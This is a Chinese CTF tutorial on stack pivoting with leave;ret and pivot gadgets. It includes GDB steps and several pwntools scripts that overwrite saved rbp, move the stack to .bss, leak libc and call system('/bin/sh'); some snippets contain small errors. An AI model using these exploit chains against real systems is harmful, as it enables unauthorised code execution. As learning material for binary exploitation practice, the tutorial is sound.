栈迁移
栈迁移
本文适合
已经理解 栈、返回地址与控制流 和 ROP基础,但原始溢出空间太短、放不下完整 ROP 链的 Pwn 学习者。学完你能:判断何时需要 stack pivot,选择 .bss、堆或泄露栈地址作为新栈,并用 leave; ret 或 pivot gadget 执行第二阶段 ROP
栈迁移是把栈指针转移到攻击者可控的内存区域,从而执行更长、更复杂的 ROP 链。它常用于原始溢出空间不足的场景。
为什么需要栈迁移
有些漏洞只能覆盖很短的返回地址附近空间。
这点空间不足以放完整 ROP 链。
但程序可能允许你把大量数据写入 .bss、堆或其他可写区域。
栈迁移的思路是:先把完整 ROP 链放到可控区域,再让 rsp 指向那里。
leave-ret
常见栈迁移 gadget 是:
leave
retleave 等价于:
mov rsp, rbp
pop rbp如果攻击者能控制 rbp,就能让 rsp 跳到指定区域。
随后 ret 会从新栈上取下一个地址。
栈迁移目标区域
常见目标:
.bss:全局未初始化数据区,地址相对稳定。
堆:通过 malloc 分配,空间较大,但地址可能需要泄露。
栈上其他区域:需要知道地址。
选择目标时要考虑可写、可控、地址是否已知。
栈迁移和 ROP
栈迁移不是最终利用,它只是让后续 ROP 链有地方执行。
常见两阶段:
第一阶段:读入第二阶段 payload 到 .bss。
第二阶段:迁移栈到 .bss,执行完整 ROP。
所以它常和 ROP基础、ELF、PLT、GOT与libc 搭配。
leave;ret 的精确执行过程
理解栈迁移必须搞清楚 leave;ret 每一步对寄存器和栈的影响。
假设当前函数执行到尾声:
执行前的寄存器状态:
rbp = 0x7fffffffde00 (指向当前栈帧的 saved rbp 位置)
rsp = 0x7fffffffddc0 (当前栈顶)
执行前的栈内容:
0x7fffffffde00: 0x00007fffffffde20 <- saved rbp(指向旧栈帧)
0x7fffffffde08: 0x0000000000401234 <- return addressleave 执行:
mov rsp, rbp— rsp 变成 0x7fffffffde00pop rbp— rsp 处的值0x7fffffffde20被弹出到 rbp,rsp 变成 0x7fffffffde08
ret 执行:
rip = [rsp]=0x0000000000401234(从 0x7fffffffde08 处取返回地址)rsp = rsp + 8= 0x7fffffffde10
栈迁移的核心:如果我们能在溢出时覆盖 saved rbp(0x7fffffffde00 处的值),leave 就会把 rsp 移动到我们指定的地址。随后 ret 从新地址取返回地址。
栈迁移的 GDB 调试步骤
以一个典型栈迁移题目为例,逐步用 GDB 观察寄存器变化。
# 编译带调试信息的二进制
gcc -o vuln vuln.c -fno-stack-protector -no-pie -z execstack
# 用 GDB 调试
gdb ./vuln
# 在 leave 指令处下断点
b *vuln+89 # 偏移需要根据实际二进制调整,或用 disas 查看
r
# 输入溢出 payload 后命中断点
# 此时观察关键寄存器
info registers rbp rsp rdi
# 单步执行 leave
si
# 观察 leave 执行后 rsp 和 rbp 的变化
info registers rbp rsp
# 重点:rsp 应该等于执行前 rbp 的值
# rbp 应该等于你溢出时覆盖 saved rbp 的值
# 继续单步执行 ret
si
# 观察 rip 是否跳转到了你预期的地址
info registers rip rsp用 pwntools 的 GDB 插件更方便:
from pwn import *
p = gdb.debug('./vuln '''
b *main+89
c
''')关键观察点:
leave前:rsp指向当前栈帧底部leave后:rsp等于被覆盖的rbp值,rbp也被弹出为新值ret后:rip等于新栈上的第一个 8 字节
第一阶段:读入 payload 到 .bss
栈迁移通常分两阶段。第一阶段利用有限的溢出空间读入大量数据到可控区域。
from pwn import *
elf = ELF('./vuln')
p = remote('challenge.example.com', 10000)
bss_addr = elf.bss() + 0x300 # .bss 上找一个不会被其他数据覆盖的偏移
# 第一阶段 payload:覆盖 saved rbp 为 bss_addr,返回到 read/readline
# 假设栈布局:
# [buffer 32字节][saved rbp 8字节][return address 8字节]
payload1 = b'A' * 32
payload1 += p64(bss_addr) # 覆盖 saved rbp -> leave 时 rsp 跳到这里
payload1 += p64(elf.symbols['read']) # 或调用 gets/readline 读入更多数据
# 注意:如果直接返回到 read,需要处理 read 的参数和返回值第二阶段:迁移后执行完整 ROP
读入到 .bss 的第二阶段 payload 在栈迁移后被执行:
# 假设已通过第一阶段把以下内容读入到 bss_addr
# 注意:新栈从 bss_addr 开始,leave;ret 会从这里取数据
# 构造第二阶段 payload(放在 .bss 上)
# bss_addr + 0x00: 这是 leave 执行后 rsp 指向的位置
# ret 指令会从这里取返回地址
pop_rdi = 0x401233
pop_rsi_r15 = 0x401231
ret_gadget = 0x401016
payload2 = p64(0) # 占位:leave 中 pop rbp 会把这个值弹到 rbp
payload2 += p64(pop_rdi) # 返回地址:从 bss_addr+8 开始
payload2 += p64(next(elf.search(b'/bin/sh')))
payload2 += p64(elf.symbols['system'])
# 发送第二阶段 payload
p.send(payload2)
p.interactive()完整栈迁移 exploit 示例
把两阶段串起来:
from pwn import *
context.arch = 'amd64'
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = remote('challenge.example.com', 10000)
bss_addr = elf.bss() + 0x300
# ---- 第一阶段:泄露 + 栈迁移 ----
# 假设程序有 read(0, buf, 0x40) 且 buf 在栈上偏移 0x20 处
# payload1: 溢出覆盖 saved rbp,返回到 read 再读第二阶段
# 但直接返回到 read 需要控制参数
# 更常见的做法:返回到 main/vuln 函数,再次触发输入
payload1 = b'A' * 32
payload1 += p64(bss_addr) # 覆盖 saved rbp
payload1 += p64(elf.symbols['main']) # 返回到 main,再次输入
p.send(payload1)
sleep(0.5) # 等待程序重新进入 main
# ---- 第二阶段:完整 ROP 链 ----
# 此时 main 的 leave;ret 会把 rsp 移到 bss_addr
# 我们需要在 bss_addr 上布置好 ROP 链
# 先泄露 libc
pop_rdi = 0x401233
ret_gadget = 0x401016 # 用于栈对齐
# 新栈布局(从 bss_addr 开始):
# bss_addr+0x00: pop rbp 的目标(任意值)
# bss_addr+0x08: 第一个返回地址
rop_chain = p64(0xdeadbeef) # rbp 值(pop rbp 会弹出)
rop_chain += p64(pop_rdi) # 返回地址
rop_chain += p64(elf.got['puts']) # rdi = puts@GOT
rop_chain += p64(elf.plt['puts']) # 调用 puts 泄露
rop_chain += p64(elf.symbols['main']) # 返回 main 再次利用
p.send(rop_chain)
# ---- 第三阶段:ret2libc ----
p.recvuntil(b'\n')
leaked = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
log.success(f'libc base: {hex(libc_base)}')
# 再次溢出 + 栈迁移
payload3 = b'A' * 32
payload3 += p64(bss_addr)
payload3 += p64(elf.symbols['main'])
p.send(payload3)
sleep(0.5)
rop_final = p64(0xdeadbeef)
rop_final += p64(ret_gadget) # 栈对齐
rop_final += p64(pop_rdi)
rop_final += p64(bin_sh)
rop_final += p64(system)
p.send(rop_final)
p.interactive()栈迁移目标地址的选择
优点:地址固定(无 PIE 时),空间大
缺点:PIE 开启时地址随机
优点:空间大,灵活
缺点:需要泄露堆地址
优点:不需要额外写入
缺点:需要知道栈地址,ASLR 影响
优点:地址可能可预测
缺点:需要具体情况分析
选择原则:
- 优先选地址已知且稳定的目标
- 目标区域必须足够大,能容纳完整 ROP 链
- 目标区域不能被程序后续逻辑覆盖
常见误区
- 以为栈迁移就是改返回地址。
- 不理解
rsp才决定 ret 从哪里取地址。 - 把 payload 放到不可写或不可控区域。
- 忘记新栈上也需要布置 rbp 和返回地址。
- 没有分清第一阶段和第二阶段。
一句话判断
如果漏洞只能覆盖 saved rbp 和返回地址附近很短空间,但程序还能把大量数据写到 .bss、堆或其他可控地址,就考虑栈迁移。
栈迁移的目标不是直接拿 shell,而是把 rsp 移到你提前布置好的第二阶段 ROP 链上。
题目中常见信号
- 溢出空间只够放 1-3 个地址。
- 能覆盖 saved rbp。
- 程序函数尾部有
leave; ret。 - 有
read(0, bss, size)、gets(bss)或菜单能写入全局缓冲区。 .bss无 PIE 或已泄露程序基址。- 堆地址、栈地址或 mmap 地址可泄露。
- 需要多阶段泄露 libc 后再利用。
核心概念
leave; ret 的栈迁移等式:
leave: rsp = rbp; rbp = [rsp]; rsp += 8
ret: rip = [rsp]; rsp += 8所以新栈开头通常要这样放:
new_stack + 0x00: fake rbp
new_stack + 0x08: 第一条 ROP gadget
new_stack + 0x10: gadget 参数或下一地址如果用 xchg rsp, rax; ret、pop rsp; ret 等 pivot gadget,布局会不同,但目标都是让后续 ret 从可控内存取地址。
最小分析流程
- 计算能覆盖到 saved rbp 和 ret 的 offset。
- 找可写可控区域:
.bss、堆、栈泄露地址。 - 找迁移 gadget:
leave; ret、pop rsp; ret、xchg rsp, reg; ret。 - 第一阶段把第二阶段 ROP 写入目标区域。
- 第一阶段溢出覆盖 saved rbp 为目标地址,ret 到
leave; ret或函数尾。 - 第二阶段先泄露,再回主函数或继续迁移。
- 单步确认
leave后rsp等于目标地址。 - 失败时检查 fake rbp、目标地址是否可写、PIE/ASLR 和新栈布局。
最小验证示例
GDB 断在 leave 前:
b *vuln+89
r
info registers rbp rsp
x/6gx $rbp
si
info registers rbp rsp
x/6gx $rsp成功标准:
leave 后 rsp == 你覆盖的 saved rbp 值
ret 后 rip == 新栈 + 0x8 位置的 gadget最小 payload 形态:
payload1 = flat(
b"A" * offset_to_saved_rbp,
bss_addr,
leave_ret,
)
stage2 = flat(
0,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"],
)常见利用 / 解题路线
路线总览:
路线一:.bss 迁移
No PIE 或已泄露 PIE 时最常见。先写 stage2 到 .bss,再 leave; ret。
路线二:堆迁移
菜单题可控大 chunk,泄露 heap 后把 ROP 链放到堆上。
路线三:栈泄露后迁移
格式化字符串或栈泄露能得到栈地址时,可迁移到同一次输入附近的栈区域。
路线四:pivot gadget
如果无法控制 rbp,但能控制 rax/rsp 相关 gadget,可用 xchg rax, rsp; ret 或 pop rsp; ret。
路线五:迁移 + ret2csu/SROP
迁移只解决空间问题。第二阶段可以继续接 ret2csu基础、SROP基础 或 seccomp沙箱 ORW。
常见失败原因
- 新栈首 8 字节忘记 fake rbp:
leave会先pop rbp,第一条 gadget 应放在new_stack+8。 - 迁移目标不可写:
.bss偏移被程序覆盖或地址算错。 - PIE 未处理:
.bss地址随程序基址变化。 - 只覆盖 ret 未覆盖 rbp:
leave仍按旧 rbp 迁移。 - stage2 发送时机错:还没写入新栈就触发迁移。
- 栈对齐问题:最终调用 libc 时仍可能需要额外
ret。
迷你案例
程序栈溢出只能写 0x30 字节,完整 ret2libc 链放不下,但有全局 buf 在 .bss。
步骤:
第一次输入:写 stage2 到 .bss
第二次输入:覆盖 saved rbp = .bss,ret = leave; ret
leave 后 rsp -> .bss
stage2 执行 puts(puts@got) 泄露 libc
再次回 main,迁移执行 system("/bin/sh")WP 中要保留 leave 前后 rbp/rsp/rip 变化截图或文本证据,证明不是“运气跳到了 gadget”。